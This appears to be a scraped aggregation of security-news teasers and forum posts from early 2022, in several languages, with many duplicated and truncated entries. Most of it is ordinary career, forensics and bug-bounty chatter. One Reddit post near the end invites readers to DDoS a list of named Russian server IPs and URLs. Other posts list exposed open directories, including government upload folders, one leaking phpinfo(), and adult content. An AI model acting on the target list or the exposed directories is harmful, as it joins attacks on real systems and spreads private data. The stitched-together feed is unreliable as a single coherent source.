Many open source licenses have different rules depending on if the library is used with a SaaS product or an Externally deployed product. Does using an open source library within a Single Page Application architect mean the library is now deployed to the users browser and thus is externally deployed? submitted by /u/jrminty [link] [comments]

Hi,so on my last infosec interview the guy told me to study more networks,and he suggested studying the content of Network+ . I am trying to learn from Mike Myers ‘s course but struggling badly. There are a lot of theories here and i keep missing a lot of points . So i want to learn it more practically and in parallel learn the theories. I am good with programming and i have GNS3. So my question,can i learn networking and network+ content through network programming and gns3 ? submitted by /u/Ramseesthe4th [link] [comments]

OSINT teknikleri Continue reading on Medium »

Very often in DFIR, we categorize artifacts in an easy-to-understand and easy-to-digest manner, as using or relying on these categories often helps us navigate our investigations. There are also times when we reduce those artifacts to a level where they're easier to understand, and in doing so, the categorization of the artifact isn't quite accurate. As such, it's necessary now and again to go back and take a look at that categorization to determine if still holds, or if it truly served the community in the manner intended. SPOILER ALERT - TL:DR  Within the DFIR community, we should not be hanging investigation findings on single artifacts in isolation. If there are gaps in data, they need to be recognized, understood and communicated. Do not spackle those gaps over with guesswork and assu…

submitted by /u/n0llbyte [link] [comments]

submitted by /u/ustayready [link] [comments]

submitted by /u/aparata_s4tan [link] [comments]

In the digital world everyone using smart device for day to day activity. We’re sharing many information, at the same time receiving many… Continue reading on Medium »

Cocinando nuestra receta con powershell y c# Continue reading on Medium »

Does anyone know how I can mount a raw/image that is encrypted with LUKS? I have the decryption password. submitted by /u/rvndomus3r2019 [link] [comments]

I knows it's very easy to modify "Date created" "Date Modified" attribute of a file. Is there any way to know if thee timestamps had been modified? Can I look at list of dates modified? Any logs or tools? Before someone suggests it back up wont help because the last VSS available is before the file was initially created. The file was created within the last 14 days, I have reason to believe that the date has been modified. ​ I'd really appreciate the help. submitted by /u/Serious_Mongoose_522 [link] [comments]

Good morning, It’s time for a new 13Cubed episode! Let’s revisit a critical NTFS artifact: NTFS Index Attributes (also referred to as $I30 files). We'll cover all of the information you need to know, and take a look at a new tool called INDXRipper. Episode: https://www.youtube.com/watch?v=x-M-wyq3BXA Episode Guide: https://www.13cubed.com/episodes/ 13Cubed YouTube Channel: https://www.youtube.com/13cubed 13Cubed Patreon (Help support the channel and get early access to content and other perks!): https://www.patreon.com/13cubed submitted by /u/13Cubed [link] [comments]

submitted by /u/PM_ME_TO_PLAY_A_GAME [link] [comments]

http://www.clevelandstatecc.edu/content/ submitted by /u/depressedclassical [link] [comments]

http://cd.textfiles.com/dfeno1/ submitted by /u/depressedclassical [link] [comments]

Hello Members, I hope that you liked Penetration-List Project, Therefore, I worked hard to complete Penetration-list Project. Firstly, I… Continue reading on Medium »

Greetings from Caenopolis to all, Continue reading on Medium »

by Maryna Trifonova, Head of Content at Jax.Network Continue reading on Jax.Network Blog »

Recently I attended InfoSec Community (@InfoSecComm) ‘s security conference IWCON2022. Awesome conference and awesome experience attending… Continue reading on Medium »

Basic Scan on a Single IP: Continue reading on Medium »

What are Bug Bounty Programs Continue reading on Medium »

SecWiki周刊（第417期) by ourren 以PoC迁移促进漏洞评估 by ourren 更多最新文章，请访问SecWiki

SecWiki周刊（第417期) by ourren 以PoC迁移促进漏洞评估 by ourren 更多最新文章，请访问SecWiki

Article URL: https://www.ipcc.ch/report/ar6/wg2/ Comments URL: https://news.ycombinator.com/item?id=30500104 Points: 2 # Comments: 0

submitted by /u/_CryptoCat23 [link] [comments]

微众银行应用安全团队招聘应用安全岗

乌克兰意图组建一支志愿 &amp;amp;amp;quot;IT军队&amp;amp;amp;quot;，对俄罗斯进行网络攻击。

乌克兰正在招募一支由白帽黑客组成的志愿IT军队，以对一系列俄罗斯实体发起攻击。

很多网站因为业务需要，在同一个主域名下通常会有多个子域名。在这种情况下申请SSL证书就要很慎重，既要考虑到网站安全需要，又要考虑经济实惠，首选肯

招聘安全工程师、安全运营、安全管理等岗位。

近日，安徽省统战部副部长张启明带队调研全息网御合肥研发基地，着重听取了全息网御自主创新的核心技术，聚焦数据安全的产业定位与合纵连横的生态合作应用场景，并就科技型企业的未来发展进行深入交流。他指出

被称为TrickBot的模块化Windows犯罪软件平台于周四正式关闭其基础设施，此前有报道称其在近两个月的活动停滞期间即将退休。

2月23日，欧盟委员会公布了名为《数据法案》(Data Act)的提案，旨在帮助小公司在竞争中赶上大公司，从智能家电到汽车等联网产品产生的非个人数据中获利。

其实也算是很早就听说了文件上传漏洞，并在一些CTF比赛中做了一些题目，再刷一遍port的吧。

匿名者组织入侵白俄网络，并影响起铁路运营。

攻击影响了公司的开发人员工具和电子邮件系统，并窃取了包括员工在线凭证在内的1TB数据。

未修补软件的漏洞利用导致的攻击增加了33%，这是2021年勒索软件攻击者进行攻击最依赖的切入点，在勒索软件攻击原因中占44%。

With headline-grabbing vulnerabilities such as Log4Shell drawing attention to the risks presented by open-source components, organizations increasingly need application security programs that address this risk. READ MORE

With Invicti SCA as part of your application security program, you can track and secure open-source components for deeper coverage in one single scan. READ MORE

Introduction Exe2hex is a tool developed by g0tmilk which can be found here. The tool transcribes EXE into a series of hexadecimal strings which can The post File Transfer Filter Bypass: Exe2Hex appeared first on Hacking Articles.

Introduction According to MITRE, “Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level The post Windows Persistence: Shortcut Modification (T1547) appeared first on Hacking Articles.

Introduction Exe2hex is a tool developed by g0tmilk which can be found here. The tool transcribes EXE into a series of hexadecimal strings which can The post File Transfer Filter Bypass: Exe2Hex appeared first on Hacking Articles.

Introduction According to MITRE, “Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level The post Windows Persistence: Shortcut Modification (T1547) appeared first on Hacking Articles.

Continuous Fuzzing Integration in Argo Continue reading on Argo Project »

Continuous Fuzzing Integration in Argo Continue reading on Argo Project »

Açık kaynak istihbaratı’te kullanılan teknikler Continue reading on Medium »

While I was reading some Medium blogs, I came across @Sofia Santos’s blogs (this writeup specifically: Walkthrough — Hacktoria… Continue reading on Medium »

Açık kaynak istihbaratı’te kullanılan teknikler Continue reading on Medium »

Go through the following OSINT analysis courtesy of Dancho Danchev on the current state of the cyber war between Russia and Ukraine. Enjoy! Continue reading on Medium »

Hi, Little background info first. I'm a beginner Networking & Security student so I'm not that unfamiliar with stuff, I don't have anything hosted other than a VPN, and I'm using a consumer grade router that's not capable of VLANs, and other good stuff. I may be just a little paranoid but I've been noticing a lot of blocked IP requests from Russia in the security log for my router. Almost 50% of what I found in the log for February 27 is from over there. One of the IPs I found had 32 hits, another had just 9. Coming in second is the US, then there's Switzerland, Germany, Lithuania. From just the couple foreign IPs that I looked up using https://www.abuseipdb.com/, all of them were flagged for high confidence of abuse. I don't have anything against those countries but I was wondering what all that's going on if I should be more concerned than usual. I'd just like my computer and data to remain in once piece. Not sure if I should be saying anything else about my setup on a public post here but could appreciate some advice. Only tech guy in my family so can't ask anyone else. I'm considering just disabling the VPN so I don't have any more open ports, and using iCloud Private Relay or something else when I'm out. I'm aware of Pfsense, and I was considering it, but I just don't want to spend $$$ with inflation, chip shortages, and who knows what else. Anyway thanks in advance. submitted by /u/Expensive-Exit6398 [link] [comments]

I am not familiar with technology. But this kinda freaked me out. https://fingerprintjs.com/blog/external-protocol-flooding/ Following the article, I went ahead and did this test, https://schemeflood.com/ I recently installed fedora on my desktop but it showed all the apps I installed on window previously. (it's not a dual boot) Did I mess something up when installing? or is it a vulnerability? submitted by /u/manho1e [link] [comments]

What sites do you use to validate information? Even if the certificate is valid, how are ensuring it’s for that proper site? What if the certificate says self-signed or expired? submitted by /u/pass-the-word [link] [comments]

Article URL: https://qualys-secure.force.com/discussions/s/ Comments URL: https://news.ycombinator.com/item?id=30492601 Points: 2 # Comments: 0

https://www.mendoza.gov.ar/wp-content/uploads/ https://www.mrt.tas.gov.au/mrtdoc/ https://hret.gov.ph/admin.hret.gov.ph/ https://tuguegaraocity.gov.ph/public/ https://tuguegaraocity.gov.ph/admin/ (sometimes throws a PHP error for some reason) https://web.yme.gov.gr/data/ https://geoftp.ibge.gov.br/ http://www.pmf.sc.gov.br/arquivos/arquivos/ http://maps.six.nsw.gov.au/csv/ http://globe.six.nsw.gov.au/csv/ https://irs.os.gov.ng/wp-content/uploads/ https://online.agriculture.gov.au/static/department/ http://itaperuna.rj.gov.br/planoDiretorArquivos/ https://www.czj.sh.gov.cn/zss/ http://www.mto.gov.on.ca/documents/ https://tnlandsurvey.tn.gov.in/assets2/correlation/ (/assets2/ returns 403, /assets/ returns phpinfo()) https://info.saude.df.gov.br/wp-content/uploads/ http://www…

submitted by /u/inoculatemedia [link] [comments]

http://51.77.66.14/ some good NSFW stuff in sarasa folder submitted by /u/LucasImages [link] [comments]

What is IBM MQ? Continue reading on Medium »

Account Takeover Methods Continue reading on InfoSec Write-ups »

Introduction Continue reading on Medium »

Let us learn about finding EXIF Geo-Location of images Continue reading on Medium »

There are multiple ways to bypass two factor authentication . some of these way is here . Continue reading on Medium »

C1h2e1 Continue reading on Medium »

Hey guys! I am harish, I used to find vulnerabilities on the Microsoft bug bounty program and Google VRP! Continue reading on Medium »

What is IBM MQ? Continue reading on Medium »

A Red Teaming Science Fair Project Continue reading on Medium »

自定义AWVS的Docker镜像 by sinver 更多最新文章，请访问SecWiki

自定义AWVS的Docker镜像 by sinver 更多最新文章，请访问SecWiki

submitted by /u/jrj334 [link] [comments]

submitted by /u/yuhong [link] [comments]

February’s XSS challenge is here! On the surface the challenge seems simple but it actually gives light upon two very interesting topics … Continue reading on Medium »

This article is about what you need to know about Cross-Site-Scripting(AKA. XSS). Continue reading on Medium »

And how relying on information from the news can set you back. Continue reading on Medium »

Open Source Continue reading on Medium »

submitted by /u/martinclauss [link] [comments]

submitted by /u/ferrochron1 [link] [comments]

Article URL: https://blog.zulip.com/2022/02/25/zulip-cloud-invitation-vulnerability/ Comments URL: https://news.ycombinator.com/item?id=30479430 Points: 81 # Comments: 29

今日暂未更新资讯~ 更多最新文章，请访问SecWiki

今日暂未更新资讯~ 更多最新文章，请访问SecWiki

This blog post will dive into what I like to call “execution contexts” on macOS and why it is important to understand these different… Continue reading on Medium »

Is there any security concerns with using wget? Is there anything I should be aware of to stay relatively safe? submitted by /u/fenriswolf_411 [link] [comments]

There are talks requesting that videos, images, etc be archived from r/Ukraine just in case information starts disappearing. Not sure if you guys do that sort of thing but having seen this sub mentioned I figured Id bring it up here. submitted by /u/Tripartist1 [link] [comments]

submitted by /u/wertercatt [link] [comments]

How much more difficult is it to gather evidence from a Windows operating system that is the LTSC version when compared with a regular Windows system? I know LTSC is supposed to be much more privacy friendly and disables telemetry so just though I would ask out of curiosity. submitted by /u/xnospax [link] [comments]

What is information gathering? Continue reading on Medium »

Olá hacker, hoje vou contar sobre como encontrei meu primeiro bug (vulnerabilidade)em apenas 5 minutos Continue reading on Medium »

Hello fellow hackers, today I will discuss how I found a Server-Side Request Forgery (SSRF) which lead to a Local File Inclusion (LFI)… Continue reading on Medium »

submitted by /u/aparata_s4tan [link] [comments]

Mattermost disclosed a bug submitted by odx09: https://hackerone.com/reports/1443211 - Bounty: $150

Just got into Android App pentest The app has a functionality to purchase courses So what can be the best way to bypass it Intercepting it through burp and try some manipulation as we do in Web apps Or some Reverse Engineering Stuff will work here ( Which I don't think makes sense ) If anybody has any experience Pentesting apps with similar functionalities Your Help is appreciated!! submitted by /u/Chirag_Offsec22 [link] [comments]

Switching careers into security Hey everyone! So fairly new to the IT world, as title says I’m switching careers from being an executive chef for the past 16 years into cyber security. I’m starting a 6 month boot camp soon with GSU and afterwards I’ll get my sec+. I’ve been doing a lot of my own research by reading as much as I can, being active in a lot of different forums and have already put 50+ hours on tryhackme (which has been awesome) and putting a lot of work into my home network! The goal is to try and get into a SOC position or something similar and skip the help desk, I’m hoping some of the leadership, team building and communication skills i learned being a chef can help me land these roles. Is there anything I can be doing in the meantime to further help myself? How does this plan sound? Any advice is super helpful!! submitted by /u/Immediate-Ad-8996 [link] [comments]

TL;DR I'm getting POST requests from China, a Ukrainian data center, a TOR exit node, and others to my personal project server, I want to know more and don't know what to do. For some time now, I've been building a cryptocurrency trading bot, but I've left it aside for some time now, letting it collect data while I do other stuff. It will be there when I get back to it. Now that I am thinking of getting back to it, I decide to check in. So, I SSH into my home server, connect to the screen instance, and realize that I'm getting frequent (~1/min) POST requests from some IPs I don't recognize. Now, the only HTTP requests this app is supposed to make are GET requests to the exchange (Kraken) every 5 minutes, so something strange is going on here. In the console, I see multiple lines that l…

为渗透测试工程师、程序员、网站管理员、IT 管理员以及几乎所有需要以更简单的方式处理远程工作的用户提供大量定制功能。

An attack in early February targeted an energy organization in Ukraine with OutSteel and SaintBot. The attack is part of a larger campaign. The post Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot appeared first on Unit42.

Article URL: https://man.fas.org/dod-101/sys/land/row/rusav.htm Comments URL: https://news.ycombinator.com/item?id=30473688 Points: 52 # Comments: 49

Article URL: https://openvas.org/ Comments URL: https://news.ycombinator.com/item?id=30469493 Points: 1 # Comments: 0

Article URL: https://termux.org/general/2022/02/15/termux-apps-vulnerability-disclosures.html Comments URL: https://news.ycombinator.com/item?id=30468679 Points: 2 # Comments: 0

Article URL: https://therecord.media/cisa-zabbix-servers-under-attack-with-recently-disclosed-vulnerability/ Comments URL: https://news.ycombinator.com/item?id=30466266 Points: 5 # Comments: 0

According to the 2020 H1 report: Continue reading on Medium »

Booked your tickets for IWCON2022 yet? Continue reading on InfoSec Write-ups »

This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to critical Continue reading on Medium »

CSRF (Siteler Arası İstek Sahteciliği), kimliği doğrulanmış kullanıcının web sayfasında istenmeyen faaliyetler gerçekleştirmesine olanak… Continue reading on Medium »

“If you can’t bake a cake then hack the entire cake shop” — Vivek Coelho Continue reading on InfoSec Write-ups »

this illustrates multiple ways to upgrade your LFI to RCE Continue reading on Medium »

In this blog, we are going to talk about golden and silver ticket attacks. Continue reading on Medium »

Well, Hello Pirates!!!!!!!!!!!!!!!!!!!!!!!!! Long Time No See :D Continue reading on Medium »

A restricted browser, that’s all you have… what do you do? Continue reading on Medium »

After 3 months, I manage to bypassed again the default visibility for newly-added email in Facebook. Here is the link of my first write-up… Continue reading on Medium »

If you haven’t seen my introduction to this case, please take few minutes and check out Untangling the Razzlekahn Conspiracy: An OSINT… Continue reading on Medium »

Six years ago, 200,000 Bitcoin were stolen from the Bintfinex exchange. the coins remained largely untouched until 2017 when some of the… Continue reading on Medium »

MISP (Malware Information Sharing Platform) is a free, open source threat intelligence platform that can store, correlate, and share IoCs… Continue reading on Medium »

What is mosint ? Continue reading on Medium »

submitted by /u/CyberMasterV [link] [comments]

submitted by /u/B1che [link] [comments]

submitted by /u/danyork [link] [comments]

submitted by /u/scopedsecurity [link] [comments]

Lark Technologies disclosed a bug submitted by prateek_thakare: https://hackerone.com/reports/1463028 - Bounty: $550

Slack disclosed a bug submitted by danielllewellyn: https://hackerone.com/reports/1378889 - Bounty: $3500

HackerOne disclosed a bug submitted by iamr0000t: https://hackerone.com/reports/1386277 - Bounty: $500

Simwigo is a cross-plateform tool, written in Go, that allows you to quickly deploy a secure web service (with a nice and neat display:)). It was created to replace the use of tools such as SimpleHTTPServer and http.server from python. It implements additional features allowing easy file exchange. It can be used for a pentest or a redteam, as well as for personal use. An API token authentication, a white list system, and the use of TLS (automatic deployment via Let's Encrypt) are integrated and increase the security of the service. Check out the latest release: https://github.com/8iche/simwigo/ submitted by /u/B1che [link] [comments]

近日，Github上曝光了Clash For Windows开源代理工具的远程代码执行漏洞。据了解该漏洞利用细节及漏洞利用代码已在网络上公开，其可能已被在野利用。

近日，Github上曝光了Clash For Windows开源代理工具的远程代码执行漏洞。据了解该漏洞利用细节及漏洞利用代码已在网络上公开，其可能已被在野利用。

Hey everyone, I am looking for a pentesting suite/app for Android, something similiar to what cSploit and zANTI were back in 2014 - 2016, a quick solution to check for most of the basic vulnerabilities. I am aware of Kali NetHunter but, I would like something closer to an app, than a whole other operating system. Is anything like this still out there? I have been out of the Android community for the past 6 or so years. submitted by /u/ivaks1 [link] [comments]

Lets just look at all the obvious uses for it: - auth bypassing/authorization bypassing - useful in rce chains Now let me explain why its a powerful vuln class say you find one on the login page of a website you now have pre auth file read and for example could steal cached session cookies of an admin or crack a hash stored somewhere. This lets you escalate from a guest user all the way to super admin. Now lets say they patch this in a lot of cases you can password spray a random user and find a post auth file read and now instead of an auth bypass its more of an authorization bypass now your a normal user but can read admin areas and admin log files that may have juicy stuff. Ive ran into this scenario many times where they’ll patch a pre auth one but a post auth one quickly gets found. Definitely one of my favorite vulns out there. submitted by /u/Academic-Discount252 [link] [comments]

Most companies these days are moving towards SFU’s from p2p so it would be interesting to exploit low level sfu implementations for rce and maybe exploit the general logic of an sfu for ip disclosures etc. I haven’t seen like any research on SFU’s. One interesting idea is forcing other clients to connect to you by claiming your an SFU server not even sure if thats possible but would be interesting. submitted by /u/Academic-Discount252 [link] [comments]

I'm researching Snort "flowbit" group names (ex: http.dottedquadhost, userlogin, etc.). Yet, I cannot find any references that cover/explain the variety of group names that can be used. Does anyone know where I can find more information on how these group names are defined? submitted by /u/cyberphor [link] [comments]

I'm reading up on zero trust and keeping hearing about it but I'm still trying to figure out what tools there are out there. I heard Cloudflare acquired Area 1 for zero trust, but has anyone heard of these guys? https://usenucleus.cloud/ submitted by /u/Ztsec [link] [comments]

A few minutes ago, I checked the twitter of Recoreded Future and Greynoiseio. Both of them anoounced that they would apply full resources and capabilities to support ukraine in their fight against Russia. Trying to find a sub that can aswer this... seems reasonable from someone that knows little about the cyber world, So... Is it really helpful for defend ukraine agianst from russia? https://twitter.com/cahlberg/status/1496874932273389569 https://twitter.com/Andrew___Morris/status/1496923545712091139 submitted by /u/Late_Ice_9288 [link] [comments]

Hi guys, I have to do a report for uni and gotta ask some questions to a senior in cybersec/infosec since I am starting my career and im a junior. The requirements is that I "interview" someone and I dont know anyone in real life, I hope its okay thank you submitted by /u/Mokushi99 [link] [comments]

Curious of what the going rate for a zero day is on the black market; or even the legit market. submitted by /u/me_z [link] [comments]

No content preview

No content preview

No content preview

Introduction Will Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research The post Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints appeared first on Hacking Articles.

Introduction Will Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research The post Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints appeared first on Hacking Articles.

该工具能够对正在运行的进程进行详细的安全检查，包括进程进程元数据、加载到当前进程中的DLL以及每个DLL元数据。

本文数据为中心的理念，围绕数据识别、分类分级、基础防护几个方面，结合开源软件做一次梳理和功能演示。

由于大规模分布式拒绝服务(DDoS)攻击，多个乌克兰政府网站于周三下线了。

美国网络安全基础设施和安全局（CISA） 在其已知利用漏洞目录中新增两个Zabbix 漏洞。

《个保法》、《数据安全法》、log4爆发，最近一年来安全圈的频繁动作会给今年企业安全预算带来哪些影响？

通过克隆《地铁跑酷》 和《神庙逃亡》等流行游戏，Electron Bot已渗透进了微软应用商店。

美国和英国发布警告称，一个已经确定有伊朗国家背景的黑客组织正在俄乌大战期间，针对全球目标开展数字攻击以及其他的恶意活动。

勒索软件Cuba正利用微软Exchange的漏洞进入企业网络并对设备进行加密。

近4年，从小白到MVP的挖洞之路。

据BBC的一项最新调查，儿童可以通过元宇宙访问性方面的相关内容。

日前有数据显示，黑客正在易受攻击的Microsoft SQL数据库中安装Cobalt Strike信标，以此获得在目标网络中的立足点。

战争让人们更加珍惜来之不易的和平：我们从不欢呼战争，但也不惧怕战争。

PHP Malware Finder是一款针对主机安全和PHP安全的强大检测工具，广大研究人员可以轻松检测其主机或服务器中可能存在的潜在恶意PHP文件。

各位FreeBufer周末好~以下是本周的「FreeBuf周报」，我们总结推荐了本周的热点资讯、优质文章和省心工具，保证大家不错过本周的每一个重点！热点资讯1、白宫将乌克兰DDoS攻击锁定在俄罗斯GRU黑客身上2、英国Monzo数字银行用户正受网络钓鱼威胁3、数十位 OpenSea 用户 NFT 被盗，损失超 170 万美元4、暴富、反水、围剿……Conti勒索组织魔幻的2021年5、这样的钓鱼邮

这一恶意软件被部署在乌克兰网络上的数百台设备当中。

SecCrawler: 每日安全日报的爬虫和推送程序 by ourren cheatsheet: 信安技术羊皮卷 by ourren 代码分析与自动化重构 by ourren 企业级安全智能化实践指南 by ourren 针对Cookie同意和 GDPR 违规的自动化检测工具 by ourren CodeQL 与 Shiro550 碰撞 by ourren 路由器TP-Link WR740后门漏洞 by ourren Parallels Desktop虚拟机逃逸 by ourren k8s安全入门 by ourren 更多最新文章，请访问SecWiki

SecCrawler: 每日安全日报的爬虫和推送程序 by ourren cheatsheet: 信安技术羊皮卷 by ourren 代码分析与自动化重构 by ourren 企业级安全智能化实践指南 by ourren 针对Cookie同意和 GDPR 违规的自动化检测工具 by ourren CodeQL 与 Shiro550 碰撞 by ourren 路由器TP-Link WR740后门漏洞 by ourren Parallels Desktop虚拟机逃逸 by ourren k8s安全入门 by ourren 更多最新文章，请访问SecWiki

My journey for CEH practical exam started when I applied for the scholarship sponsored by the EC-Council. The actual exam cost was 550$… Continue reading on Medium »

Article URL: https://gitlab.com/kop316/vvm-disclosure Comments URL: https://news.ycombinator.com/item?id=30461939 Points: 2 # Comments: 0

submitted by /u/jat0369 [link] [comments]

submitted by /u/CyberMasterV [link] [comments]

submitted by /u/EyeAccomplished5529 [link] [comments]

submitted by /u/eberkut [link] [comments]

submitted by /u/Mempodipper [link] [comments]

out of curiosity are my chances good to land a junior infosec job, SOC analyst, or a sysadmin position based on my work experience it’s not a lot and i am new to the IT field but to sum it all up the only work experience i have is when i was a geek squad agent at best buy, when i worked at a call center, and most recently i got a job as a junior help desk technician i also have 0 certs by the way and i’m too lazy to send it my actual resume hahaha submitted by /u/Jkarl0880 [link] [comments]

Hi, I am exploring Burpsuite and HTTP requests. I was convinced that a cookie was only set after login. I tried to intercept a (failed) login on a simple web form and I got this: POST / HTTP/1.1 Host: markup.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 32 Origin: http://markup.htb Connection: close Referer: http://markup.htb/ Cookie: PHPSESSID=33foj37c9f8tburjbdufbtu8ln Upgrade-Insecure-Requests: 1 username=test&password=test I noticed that Cookie header is already present, even before my request can reach webserver. Can someone enlighten me on this ? Thankyou!! submitted by /u/g-simon [link] [comments]

I apologize if this is the wrong place to ask this question but here goes. Without getting into details I found a way to access a user account without permission. I submitted it to kb.cert.org (didn't know where else to submit it) but they said they don't handle issues with live websites, I also informed Lens.com but honestly they didn't seem to care and have since ghosted me. I don't want to release the details and risk the (I can only assume) 7 people who still use that terrible site but I'm not sure how else to bring enough attention to this to get them to fix it. Any advice? Thanks. submitted by /u/AngryHumanoid [link] [comments]

Ends* not sends, typo. I got fingeprinted for background check (im working in education, working at a private school) and have to tell my ssn to employer so they can log in database to check the fingerprint results before i start. Im not comfortable providing my SSN over email and one of my employers told me that was okay and i can give the employer in charge of it a call. I emailed the employee and she told me that she will be in a meeting until the day ends and if i could leave my SSN through voicemail and she will delete the message once the meeting is over and will run the ssn through the database. she told me she couldnt do tommorow since she was leaving out of country and i need to give it before monday on the day i start to have results checked is this safe to leave a voicemail with my ssn since though she will delete it afterwards? seems it my only option or should i just forget this job altogether if this is my only choice or request someone else who is available to do it with? i think she is the only one..... update : i decided to do it since time was ticking since i start Monday and the employer is off to another country tomorrow so i wont be able to connect with her, which i find very weird. Did i put myself at risk?? probably. Did i feel immediate regret after doing it? Yes i did. nervous as heck, i hope i will be fine after this. submitted by /u/lostspirit10 [link] [comments]

Hi guys, I recently started working as QA in NW and wanted to check what folks on field actually think of it. Have you ever tried or had hands on with RSA Netwitness SIEM? Any feedback on UX, Threat hunting, correlation capabilities etc? Thanks! submitted by /u/Peanutbutter-0 [link] [comments]

I've been following these guys for quite some time now, since a friend of mine working at a large insurance company told me they use the platform internally. But I'm still not sure whether it is worth it. A few days ago, they announced they went open-source, I gave it a try and it looks cool. I run a network scan with multiple tools at the same time(nmap,tsunami,nuclei) and got back a full report with just a few commands. ​ The thing is am still confused, on the difference between the open source and the payed version. Have you tried the platform before ? Do you think it is worth the money? submitted by /u/deadlyhayena [link] [comments]

Hi guys, i'm student in software engineer major these days, i'm interested in RPKI hijacking. I saw the news that by BGP hijacking, cryptocurrency is now in danger. As far as i know, RPKI is the certificate of the Router, and without RPKI risk of BGP hijacking is more dangerous. But, I can't understand the difference between BGP and DNS communication. Of course i did searching in google, but it is too deep for me to understand. Please teach me the difference between BGP, DNS communication easily...(to the point whre newbies can understand) submitted by /u/Late_Ice_9288 [link] [comments]

Hi guys, how do I find out whether my own ip address is vulnerable atm ? submitted by /u/alicia30765 [link] [comments]

Single click open redirect السلام عليكم , اليوم بكتب لكم عن كيف حصلت ثغرة Continue reading on Medium »

Hello, those who are at the computer day and night. Continue reading on Medium »

As you well know Avacash.Finance is a fork of Tornado.cash in the Avalanche Blockchain, which means that we offer a fully decentralized… Continue reading on Medium »

More than 20 contributors from around the world have spent nearly a year developing Mars from scratch in the Rust programming language… Continue reading on Medium »

Hey Readers 👋, Hope you are doing great, Continue reading on InfoSec Write-ups »

In solidarity with ukrainian people, after the cyber attack of russian goverment against ukrainian digital assets to prepare their invasion, you're friendly invited to attack these servers located in Russia unto DDOS. Help us to complete this list : ODs https://julia.paimon.pro/ https://91.240.125.178/ http://files.net57.ru/ http://b1.artplanet.su/ http://5.56.134.67:8080/ http://178.140.239.157/ http://91.214.68.245/ http://212.109.223.247:9000/ http://188.226.41.25/ https://109.194.141.225/ http://5.8.64.57/ https://45.84.225.49/ http://195.218.199.70:8888/ https://193.106.132.50/ http://195.93.160.105/ http://109.200.155.175/ http://176.193.170.202/ http://141.101.188.153/ http://80.78.193.77:8080/ Calibres http://87.117.1.35:9191/ http://90.188.92.137:8080/ http://37.143.24.7:8080/ http://89.111.132.113:8180/ http://80.234.32.202:8888/ http://176.12.99.146:8123/ http://136.169.223.16:8080/ https://195.91.231.203:8443/ I hope the Russians love their children too ! Slava Ukraine ! ​ https://preview.redd.it/h44axndgquj81.jpg?width=281&format=pjpg&auto=webp&s=ea63007f203cd1f7fe4bd3c434620b969861e464 submitted by /u/krazybug [link] [comments]

Ok went for a wander and here are a few findings not claiming they are all new but just what I found on a rabbit hole day... https://www.pyrocam.com/files/Video/funny/ next... http://stephenleblanc.com/backup/stephen/projects/Alex%20recovered/BlackBerry/music/Media%20Sync/ next... http://ftp.dyslexicfish.net/music/ next http://mediamusic-journal.com/video/ next https://www.creativebone.co.uk/video next... http://projects.csail.mit.edu/video/history/robotics/ ​ cannabis stuff plus other... https://www.thevespiary.org/library/Files_Uploaded_by_Users/llamabox/ ​ Sounds language stuff... http://211.110.1.18/Suda_Data/ ​ cooking http://www.medigaplife.com/videos/recipes/ ​ Funny's old but still funny gif jpg ect... http://www.brainbox.cc/funny/ ​ Memes what was relevant then... http://www.mercilesstruth.com/memes/ ​ Funny yep just funny, some old chan stuff, vids evt... http://tajgoren.net/bildarkiv/Download/ http://tajgoren.net/bildarkiv/Download/Funny/ ​ Well movies music'ish just stuff... https://johnbot.org/Share/ ​ Lots of images. Stay out of the folder WTF... http://148.72.150.188/archive/access/images/ ​ Images funny'ish do not watch 'SickBoobie Choumi.wmv' http://www.amickracing.com/misc/ ​ Funny, music. MP4s and lots more... http://www.aircam6600.com/1/mp4/ ​ Ok well done if you got through them. You saw the hidden link...;0) submitted by /u/xanderTgreat [link] [comments]

Lots of xxx movies https://artserotica.com/videos/ Been posted before but still up http://salepute.fr Short Jav I think some pixelated... https://www.xxxx-videos.com as above... https://kijyoui-douga.com/wp-content/uploads/2017/07/?SD Jav as above http://javichuparadise.com/wp-content/videos/ Not sure if this meets the open directories guides... http://www.wo-fd.xyz/?/ Lots of images with a few vids... http://real-uksex.com/wp-content/uploads/ Lots of MP4's http://24.138.249.6/Peliculas/Adultos/ What it says in the link Mandy Flores porn life images... https://mandyflores.com/content/ Bit of good old BDSM http://213.32.1.25 submitted by /u/xanderTgreat [link] [comments]

Continue reading on Medium »

Welcome to our launch here on Medium! I’m Matt Schultz — former Digital Archivist, Curator & Preservationist. I’m so excited to be… Continue reading on Medium »

This definitive guide to threat intelligence provides everything you need to know about implementing and using threat intelligence within… Continue reading on Medium »

针对AD CS中ESC7的滥用 by ourren 威胁情报的三个准确定义 by ourren Leveraging machine learning to find security vulnerabilities by ourren 移动互联网应用供应链（SDK）行为安全性现状研究报告 by ourren 基于BERT的Web服务政策合规性衡量方法 by ourren LastPyMile - 甄别软件包源代码和发布版代码的差异性 by ourren 基于机器学习的安全数据集总结 by ourren Xloader 是如何进行加密 C&C 通信的？ by Avenger 更多最新文章，请访问SecWiki

针对AD CS中ESC7的滥用 by ourren 威胁情报的三个准确定义 by ourren Leveraging machine learning to find security vulnerabilities by ourren 移动互联网应用供应链（SDK）行为安全性现状研究报告 by ourren 基于BERT的Web服务政策合规性衡量方法 by ourren LastPyMile - 甄别软件包源代码和发布版代码的差异性 by ourren 基于机器学习的安全数据集总结 by ourren Xloader 是如何进行加密 C&C 通信的？ by Avenger 更多最新文章，请访问SecWiki

SockDetour is a custom backdoor being used to maintain persistence, designed to serve as a backup backdoor in case the primary one is removed. The post SockDetour – a Silent, Fileless, Socketless Backdoor – Targets U.S. Defense Contractors appeared first on Unit42.

